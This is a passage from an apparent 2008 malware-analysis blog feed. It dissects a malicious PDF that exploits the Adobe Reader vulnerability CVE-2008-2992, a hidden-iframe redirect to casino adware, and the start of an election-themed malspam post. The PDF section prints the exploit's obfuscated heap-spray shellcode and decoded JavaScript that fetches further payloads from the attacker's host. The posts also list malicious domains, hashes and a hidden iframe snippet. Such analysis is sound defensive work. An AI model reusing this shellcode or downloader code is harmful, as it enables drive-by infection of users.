Adobe Reader and Adobe Acrobat 8.1.3 on 4 November 2008 to address the vulnerability (&lt;a href="http://www.adobe.com/support/security/bulletins/apsb08-19.html"&gt;APSB08-19&lt;/a&gt;). Public exploit code was reported on 7 November 2008. The following analyzes a malicious PDF sample.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Exploit Analysis:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The site infonews.ath.cx hosted the malicious PDF file data.pdf (hxxp://infonews.ath.cx/data.pdf). The domain ath.cx is controlled by five name servers at dyndns.org. Dynamic DNS (DDNS) allows individuals to create a hostname that points to his/her dynamic IP or static IP address or URL. DynDNS also provides an update mechanism which makes the hostname work with a dynamic IP address.&lt;br /&gt;&lt;br /&gt;ns1.dyndns.org     63.208.196.90&lt;br /&gt;ns2.dyndns.org     204.13.249.75&lt;br /&gt;ns3.dyndns.org     208.78.69.75&lt;br /&gt;ns4.dyndns.org     91.198.22.75&lt;br /&gt;ns5.dyndns.org     203.62.195.75&lt;br /&gt;&lt;br /&gt;At the time of exploit, infonews.ath.cx resolved to 85.17.162.100 located in the Netherlands.&lt;br /&gt;&lt;br /&gt;inetnum:        85.17.162.0 - 85.17.162.255&lt;br /&gt;netname:        LEASEWEB&lt;br /&gt;descr:          LeaseWeb&lt;br /&gt;descr:          P.O. Box 93054&lt;br /&gt;descr:          1090BB AMSTERDAM&lt;br /&gt;descr:          Netherlands&lt;br /&gt;descr:          www.leaseweb.com&lt;br /&gt;remarks:        Please send email to  mailto:"abuse@leaseweb.com" for complaints&lt;br /&gt;remarks:        regarding portscans, DoS attacks and spam.&lt;br /&gt;remarks:        INFRA-AW&lt;br /&gt;country:        NL&lt;br /&gt;admin-c:        LSW1-RIPE&lt;br /&gt;tech-c:         LSW1-RIPE&lt;br /&gt;status:         ASSIGNED PA&lt;br /&gt;mnt-by:         OCOM-MNT&lt;br /&gt;source:         RIPE # Filtered&lt;br /&gt;&lt;br /&gt;The IP 85.17.162.100 currently maps to 19 domains.&lt;br /&gt;&lt;br /&gt;*.adrefer.net&lt;br /&gt;*.adxdnet.net&lt;br /&gt;*.kasdfps.net&lt;br /&gt;ad.adrefer.net&lt;br /&gt;adrefer.net&lt;br /&gt;adxcnet.net&lt;br /&gt;adxdnet.net&lt;br /&gt;awltovhc.net&lt;br /&gt;espads.net&lt;br /&gt;especialads.com&lt;br /&gt;ikwlkad.net&lt;br /&gt;infonews.ath.cx&lt;br /&gt;iwdjiamk.net&lt;br /&gt;kasdfps.net&lt;br /&gt;kiafjwo.net&lt;br /&gt;netcrefer.net&lt;br /&gt;ssa.adxdnet.net&lt;br /&gt;tqlkg.net&lt;br /&gt;www.kasdfps.net&lt;br /&gt;&lt;br /&gt;data.pdf&lt;br /&gt;84bc91579cd4dbee7faf3ee09c4a9a4b&lt;br /&gt;10179&lt;br /&gt;&lt;br /&gt;The malicious PDF file includes objects that contain document-level JavaScript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00000581   00000581      0   24 0 obj&lt;br /&gt;0000058A   0000058A      0   &amp;lt;&amp;lt;/JavaScript 25 0 R&amp;gt;&amp;gt;&lt;br /&gt;000005A1   000005A1      0   endobj&lt;br /&gt;000005A8   000005A8      0   25 0 obj&lt;br /&gt;000005B1   000005B1      0   &amp;lt;&amp;lt;/Names[(main)26 0 R]&amp;gt;&amp;gt;&lt;br /&gt;000005CA   000005CA      0   endobj&lt;br /&gt;000005D1   000005D1      0   26 0 obj&lt;br /&gt;000005DA   000005DA      0   &amp;lt;&amp;lt;/S/JavaScript/JS 27 0 R&amp;gt;&amp;gt;&lt;br /&gt;000005F6   000005F6      0   endobj&lt;br /&gt;000005FD   000005FD      0   27 0 obj&lt;br /&gt;00000606   00000606      0   &amp;lt;&amp;lt;/Length 1257/Filter[/FlateDecode]&amp;gt;&amp;gt;stream&lt;br /&gt;00000636   00000636      0   W[k+7&lt;br /&gt;00000667   00000667      0   Ms(l6&lt;br /&gt;00000799   00000799      0   Gs~tx&lt;br /&gt;0000086E   0000086E      0   8U7n&lt;br /&gt;0000091B   0000091B      0   l+Vi5&lt;br /&gt;0000096B   0000096B      0   o :[hx&lt;br /&gt;00000B1E   00000B1E      0   endstream&lt;br /&gt;00000B28   00000B28      0   endobj&lt;br /&gt;00000B2F   00000B2F      0   28 0 obj&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The inflated PDF FlateDecode streams reveal obfuscated JavaScript which further decodes to reveal shellcode.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;var sccs = unescape(""+"%"+"u03eb%u"+"eb59%ue805%uf"+"ff8%uffff%u4949%u4949%u494"+"9%u4937&lt;br /&gt;%u4949%u4949%u4949%u4949%u4949%u5a51%u656a%u5058%u4230%u4231%u6b41%u4141%u4175%u4132%u3241&lt;br /&gt;%u4142%u4230%u5841%u4138%u5042%u4d75%u7939%u4d6c%u5038%u4344%u4530%u3550%u4c50%u714b%u5555&lt;br /&gt;%u4c6c%u414b%u736c%u4135%u6368%u6a31%u6c4f%u524b%u766f%u6c78%u414b%u674f%u6450%u6841%u726b&lt;br /&gt;%u6e69%u546b%u6c74%u374b%u5871%u706e%u6b31%u6e70%u4e79%u4b4c%u3934%u7350%u5744%u6f77%u6931&lt;br /&gt;%u565a%u776d%u6871%u3842%u396b%u4564%u416b%u4444%u6364%u5434%u4935%u6e75%u636b%u416f%u3534&lt;br /&gt;%u7a51%u514b%u6e76%u346b%u304c%u6e4b%u416b%u754f%u354c%u6a51%u6e4b%u476b%u6e6c%u436b%u7a31&lt;br /&gt;%u4c4b%u7349%u516c%u5634%u4b64%u3073%u4f31%u5230%u4e44%u736b%u4470%u4c70%u5945%u4150%u3468&lt;br /&gt;%u4c4c%u634b%u4670%u4c6c%u524b%u5750%u6e6c%u6c4d%u504b%u3768%u6a78%u574b%u6c79%u6b4b%u4e30&lt;br /&gt;%u7750%u7770%u4370%u6c30%u754b%u5738%u614c%u544f%u7871%u5376%u5650%u6c36%u7949%u4e68%u6b63&lt;br /&gt;%u5170%u566b%u3230%u6c48%u4d30%u675a%u4374%u356f%u4f38%u7968%u4d6e%u765a%u706e%u4b57%u4d4f&lt;br /&gt;%u7237%u344d%u7333%u5258%u5054%u5761%u4150%u7278%u6354%u4244%u6450%u767a%u364f%u624f%u5341&lt;br /&gt;%u3154%u4368%u7054%u316e%u3175%u7464%u326e%u524e%u7345%u6444%u426f%u7043%u706f%u3564%u3435&lt;br /&gt;%u516f%u3263%u4352%u7045%u646e%u346e%u3530%u5438%u7530%u6550");&lt;br /&gt;&lt;br /&gt; var bgbl = unescape("%u0A0A"+"%u0A0A");&lt;br /&gt; var slspc = 20 + sccs.length;&lt;br /&gt; while(bgbl.length &lt; fblk =" bgbl.substring(0,slspc);" blk =" bgbl.substring(0,bgbl.length" blk =" blk" mmy =" new" i =" 0;" nm =" 12;" i =" 0;" nm =" nm" i =" 0;" nm =" nm"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;The shellcode execution results in a GET request for hxxp://adxdnet.net/code/srun.php. The domain adxdnet.net is hosted at 85.17.162.100 (same IP as infonews.ath.cx).&lt;br /&gt;&lt;br /&gt;The adxdnet.net/code/srun.php request returns obfuscated JavaScript. The image reference for hxxp://fc.webmasterpro.de/as_noscript.php?name=load3 is for tracking purposes.&lt;br /&gt;&lt;br /&gt;The decoded script reveals a redirect to adxdnet.net/code/srun.php?req&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;var xobj, response;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;if(window.XMLHttpRequest) { try{ xobj = new XMLHttpRequest(); }catch(e){} }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;if(!xobj) { try{ xobj = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e){} }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;if(xobj) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;xobj.open("GET", "/code/srun.php?req", false);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;xobj.setRequestHeader("Request", "srun");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;xobj.send(null);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;response = xobj.responseText;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;if(response.length) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;dec(asas(response), "s", 2);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;} else {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;self.moveTo(3000, 3000);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;self.opener = "opener";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;self.close();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;The adxdnet.net/code/srun.php?req request returns content for additional binary downloads.&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /code/srun.php?req HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;request: srun&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Referer: http://adxdnet.net/code/srun.php&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: adxdnet.net&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;Six minutes later, a GET request for ssa.adxdnet.net/get.php?src=xpre occurred. Additional hex-encoded binaries were downloaded over an 8 minute period. Notice the user-agent (WinHttp.WinHttpRequest.5) and Request value: srun.&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /get.php?src=xpre HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Request: srun&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Accept: */*&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;User-Agent: Mozilla/4.0 (compatible; Win32;WinHttp.WinHttpRequest.5)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: ssa.adxdnet.net&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;hxxp://ssa.adxdnet.net/get.php?src=xpre&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;hxxp://ssa.adxdnet.net/get.php?src=prun&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;hxxp://ssa.adxdnet.net/get.php?src=wavvsnet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;hxxp://ssa.adxdnet.net/get.php?src=snapsnet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;hxxp://ssa.adxdnet.net/get.php?src=rasesnet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;hxxp://ssa.adxdnet.net/get.php?src=searsnet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;hxxp://ssa.adxdnet.net/get.php?src=incasnet&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;hxxp://ssa.adxdnet.net/get.php?src=winvsnet&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;The following is an additional request that lacked the WinHttp.WinHttpRequest.5 user-agent.&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /code/const.php HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: ssa.adxdnet.net&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;The downloaded malware installs a variety of crapware (rogue security products, adware, etc.)&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Filename    MD5    Size (Bytes)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;data.pdf    84bc91579cd4dbee7faf3ee09c4a9a4b    10179&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;prun.exe    d7512e025c439d8454a742992229770c    34816&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;rasesnet.exe    423d4daf5374710d4498ed917f44b92a    135168&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;searsnet.exe    18bd892d291f21f14e660537112bb81c    65024&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;snapsnet.exe    637146739c0dc4c078e0654e6d77eda1    112378&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;wavvsnet.exe    602b54e018fe9b226ebf8fd5ebaff09c    40014&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;winvsnet.exe    279ce5af3638a2ba1fde073bbe73a0c5    54784&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;xpre.exe    1d032fbc6d6884903fa92889f99fc180    745472&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-9138419431185277382?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/9138419431185277382/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=9138419431185277382' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/9138419431185277382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/9138419431185277382'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/11/cve-2008-2992-adobe-pdf-exploitation.html' title='CVE-2008-2992 Adobe PDF Exploitation'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-9158661610703104599</id><published>2008-11-12T19:29:00.007-05:00</published><updated>2008-11-12T19:49:15.269-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gold VIP Club Casino'/><title type='text'>Gold VIP Club Casino</title><content type='html'>On 9 November 2008, a college university web page hosted obfuscated JavaScript that when decoded revealed an iframe to hxxp://amhvcketn.com/ld/ment/ (66.232.111.112). The following analysis tracks the redirect results.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;div style="visibility:hidden"&amp;gt;&amp;lt;iframe src="hxxp://amhvcketn.com/ld/ment/" width=100 height=80&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The hxxp://amhvcketn.com/ld/ment/ request returned an HTTP 302 redirect to hxxp://amhvcketn.com/cgi-bin/index.cgi?mentat&lt;br /&gt;&lt;br /&gt;The hxxp://amhvcketn.com/cgi-bin/index.cgi?mentat request returned an HTTP 302 redirect to hxxp://for777daily.com/479/.&lt;br /&gt;&lt;br /&gt;The hxxp://for777daily.com/479/ request returned advertising content for a Gold Casino promotion.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_q7ApSx8GNew/SRt2AcVeFuI/AAAAAAAAACg/mNZjdv92mHs/s1600-h/gold_site.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 217px;" src="http://1.bp.blogspot.com/_q7ApSx8GNew/SRt2AcVeFuI/AAAAAAAAACg/mNZjdv92mHs/s320/gold_site.jpg" alt="" id="BLOGGER_PHOTO_ID_5267933939118249698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;“Download” and “Play Now!” buttons download hxxp://for777daily.com/479/SmartDownload.exe&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;a href="SmartDownload.exe"&amp;gt;&amp;lt;img src="images/download.gif" width="271" height="83" alt="" border="0"&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;a href="SmartDownload.exe"&amp;gt;&amp;lt;img src="images/playnow.gif" width="96" height="124" alt="" border="0"&amp;gt;&amp;lt;/a&amp;amp;gt&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Domain Analysis:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;amhvcketn.com is registered in RU and 66.232.111.112 is registered to NOC4Hosts Inc., US.&lt;br /&gt;&lt;br /&gt;Several other malicious domains resolved to 66.232.111.112 at the time of analysis.&lt;br /&gt;&lt;br /&gt;adk2lev.com&lt;br /&gt;aqlgdjeni.com&lt;br /&gt;avegeni.com&lt;br /&gt;biedetn.com&lt;br /&gt;bov2bllev.com&lt;br /&gt;brzgeni.com&lt;br /&gt;dfn2etn.com&lt;br /&gt;fhp4etn.com&lt;br /&gt;fqmgdjeni.com&lt;br /&gt;frzvetn.com&lt;br /&gt;giqgetn.com&lt;br /&gt;gsagcketn.com&lt;br /&gt;gsajetn.com&lt;br /&gt;htb4cketn.com&lt;br /&gt;htbgetn.com&lt;br /&gt;ikfjcketn.com&lt;br /&gt;iucvetn.com&lt;br /&gt;jlgvcketn.com&lt;br /&gt;&lt;br /&gt;for777daily.com is registered in RU and 58.20.129.158 is registered in China.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SmartDownload.exe Analysis&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;SmartDownload.exe&lt;br /&gt;ea93453c6392e17fc3f858dd1d08b7f3&lt;br /&gt;466,752 bytes&lt;br /&gt;&lt;br /&gt;Upon execution SmartDownload.exe creates the C:\Program Files\Gold VIP Club Casino directory and opens an installer window.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_q7ApSx8GNew/SRt3VuHavZI/AAAAAAAAACo/z9KSk30JBNA/s1600-h/gold_installer.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 238px;" src="http://2.bp.blogspot.com/_q7ApSx8GNew/SRt3VuHavZI/AAAAAAAAACo/z9KSk30JBNA/s320/gold_installer.JPG" alt="" id="BLOGGER_PHOTO_ID_5267935404180028818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;SmartDownload.exe connects to locator.realtimegaming.com (200.122.168.237) on TCP port 20000 to receive C2. The client sends the string “Gold VIP Club Casino” and receives the string “200.122.168.189”. A second connection returns the string hxxp://download.realtimegaming.com/cdn/goldvipclub. The client connects to download.realtimegaming.com which uses Akamai caching to download the installation files package_list.ini.crc and package_list.ini.zip.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;GET /cdn/goldvipclub/package_list.ini.crc HTTP/1.1  Host: download.realtimegaming.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;GET /cdn/goldvipclub/package_list.ini.zip HTTP/1.1  Host: download.realtimegaming.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The domain realtimegaming.com is registered to RealTime Gaming Holding Company, LLC (Costa Rica).&lt;br /&gt;&lt;br /&gt;Reverse lookups for 200.122.168.237 rotate through several casino themed domains.&lt;br /&gt;&lt;br /&gt;affiliateglobal.clubusacasino.com&lt;br /&gt;mycasinoaccounts.com&lt;br /&gt;affiliateglobal.clubusacasino.net&lt;br /&gt;api.mycasinoaccounts.com&lt;br /&gt;integrations.mycasinoaccounts.com&lt;br /&gt;www.mycasinoaccounts.com&lt;br /&gt;cs.realtimegaming.com&lt;br /&gt;globalaffiliates.betmaxcasino.com&lt;br /&gt;&lt;br /&gt;The following major files are created.&lt;br /&gt;&lt;br /&gt;c:\Program Files\Gold VIP Club Casino\casino.dll&lt;br /&gt;27cc0f7692c95d15a43b8e1221cb2e3f&lt;br /&gt;745,472 bytes&lt;br /&gt;&lt;br /&gt;c:\Program Files\Gold VIP Club Casino\casino.exe&lt;br /&gt;7bcfafbe500a3b440e9b18431997022a&lt;br /&gt;30,720 bytes&lt;br /&gt;&lt;br /&gt;The following major registry keys are added to launch Gold VIP Club Casino at statup.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_CLASSES_ROOT\CLSID\{0CBAA404-8C7F-4070-8E42-8847E2394816} "(Default)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: Gold Vip Club Casino&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_CLASSES_ROOT\CLSID\{0CBAA404-8C7F-4070-8E42-8847E2394816}\LocalServer32 "(Default)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: c:\program files\gold vip club casino\casino.exe %1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_CLASSES_ROOT\CLSID\{0CBAA404-8C7F-4070-8E42-8847E2394816}\ProgID "(Default)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: rtg.goldvipclub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_CLASSES_ROOT\rtg.goldvipclub "(Default)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: URL: Realtime Gaming Protocol&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_CLASSES_ROOT\rtg.goldvipclub "URL Protocol"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_CLASSES_ROOT\rtg.goldvipclub\CLSID "(Default)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: {0CBAA404-8C7F-4070-8E42-8847E2394816}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_CLASSES_ROOT\rtg.goldvipclub\DefaultIcon "(Default)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: casino.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_CLASSES_ROOT\rtg.goldvipclub\shell\open\command "(Default)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: c:\program files\gold vip club casino\casino.exe %1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Gold VIP Club Casino "DisplayName"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: Gold VIP Club Casino&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The launching of Gold VIP Club Casino initiates a connection to 200.122.168.189 TCP port 22053. The casino game requires an account to be created and personal information provided. Not sure how much I would trust a game that was installed through obfuscated JavaScript, a series of redirects and deceptive advertising :)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_q7ApSx8GNew/SRt4HRspPAI/AAAAAAAAACw/p7_wbOywcBI/s1600-h/gold_game.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 251px;" src="http://4.bp.blogspot.com/_q7ApSx8GNew/SRt4HRspPAI/AAAAAAAAACw/p7_wbOywcBI/s320/gold_game.JPG" alt="" id="BLOGGER_PHOTO_ID_5267936255544998914" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-9158661610703104599?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/9158661610703104599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=9158661610703104599' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/9158661610703104599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/9158661610703104599'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/11/gold-vip-club-casino.html' title='Gold VIP Club Casino'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_q7ApSx8GNew/SRt2AcVeFuI/AAAAAAAAACg/mNZjdv92mHs/s72-c/gold_site.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-348540705352089690</id><published>2008-11-09T15:35:00.013-05:00</published><updated>2008-11-09T16:12:12.259-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Malspam'/><category scheme='http://www.blogger.com/atom/ns#' term='Obama'/><category scheme='http://www.blogger.com/atom/ns#' term='Infostealer'/><category scheme='http://www.blogger.com/atom/ns#' term='McCain'/><title type='text'>Presidential Malspam</title><content type='html'>On 05 November 2008, Barack Obama emails began circulating that contained hyperlinks to a fake news site that offered a video of Obama’s historic win. The site attempted to fool visitors into installing an Adobe Flash update adobe_flash.exe. The executable download installs an Infostealer trojan designed to steal personal information. &lt;a href="http://www.sophos.com/security/blog/2008/11/1930.html"&gt;Sophos &lt;/a&gt;and &lt;a href="http://vil.nai.com/vil/content/v_153274.htm"&gt;McAfee &lt;/a&gt;provided updates on the threat.&lt;br /&gt;&lt;br /&gt;Sample email verbiage included the following:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"From: "President election results"&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br 